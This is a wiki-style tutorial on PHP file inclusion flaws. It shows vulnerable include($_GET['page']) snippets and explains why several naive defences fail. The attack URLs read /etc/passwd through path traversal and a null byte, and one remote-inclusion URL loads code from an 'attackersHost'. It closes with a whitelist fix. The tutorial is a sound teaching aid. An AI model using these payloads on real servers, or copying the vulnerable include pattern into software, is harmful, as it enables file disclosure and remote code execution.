File Inclusion
From Hakipedia
File Inclusion in this context means an attacker is able to get a victims interpreter to load a given file. The file can be loaded from the victims server or from another host. To be able to do this the victim needs some insecure code like below.
Contents |
[edit] Local File Inclusion
This would allow an attacker to read any file which is readable by the owner of the webserver process
<?php include($_GET['page']); ?>
http://localhost/index.php?page=/etc/passwd
[edit] Remote File Inclusion
An attacker could also inject an own file which will be parsed by http://localhosts PHP interpretor
<?php include($_GET['page']); ?>
http://localhost/index.php?page=http://attackersHost/inject.txt
[edit] wrong defense 1: file_exists()
or we do not want a remote file to be included
Lets add a check if the given file exists on the local file system:
<?php if(file_exists($_GET['page'])) { include($_GET['page']); } ?>
Now, an attacker is no more in the position to inject a remote file.
But this means you can still type http://localhost/index.php?page=/etc/passwd
File exists and voila.
[edit] wrong defense 2: directory jailing
or where Relative Path Traversal comes in
An approach to stop reading our files is to jail an attacker in a specific directory:
<?php if(file_exists($myBasedir.'/'.$_GET['page'])) { include($myBasedir.'/'.$_GET['page']); } ?>
Lets assume we are at /var/www/index.php
1st ../ will change the path to /var/
2nd ../ will change the path to /
Which means you can provide something like http://localhost/index.php?page=../../etc/passwd
/etc/passwd exists and voila.
As an attacker would not know where the web root is located on the servers file system, he could get this information by producing errors with malformed parameters.
Or by simply guessing up to 10 or even more level.
Read Full Path Disclosure for more information.
[edit] wrong defense 3: adding content to filename
or where the Poison Null Byte comes in
Another approach to stop reading our files is to add a .php (or anything else) at the end of the given file:
<?php if(file_exists($_GET['page'] . '.php')) { include($_GET['page'] . '.php'); } ?>
Which means an attacker has to tell the victims interpreter to stop the string before the added '.php'.
This could be done like this: http://localhost/index.php?page=/etc/passwd%00
file_exists() would check for a file named /etc/passwd%00.php correct me if I am wrong here
File /etc/passwd exists and voila.
Read Poison Null Byte for more information.
This can be combined with a directory attack to break
<?php if(file_exists($myBasedir . '/' . $_GET['page'] . '.php')) { include($myBasedir . '/' . $_GET['page'] . '.php'); } ?>
by requesting http://localhost/index.php?page=../../etc/passwd%00
[edit] better defense approach
We could start to filter out special chars like "/", "." and "%"
I don't know what happens if an attacker uses Hex, Unicode or another encoding instead.
Or an encoded encoding. Simply too much to worry about.
In this situation white listing is way more secure than every kind of black listing could ever be:
<?php if($_GET['page'] == 'news') { include('news.php'); } ?>
You can also have an array of allowed inputs (possibly created by a SQL query before) and ask if $_GET['page'] is in this array. If true include the associated file. If False do some small string checks. If you find malicious content (like "\.%'/) in $_GET['page'] insert attackers IP in an IP based blacklist. Or if you control the server add his IP to your firewall. This way attackers will have no more (proxy)IPs sooner or later and "normal" errors are logged without blacklisting the users IP.
-feel free to modify this text-



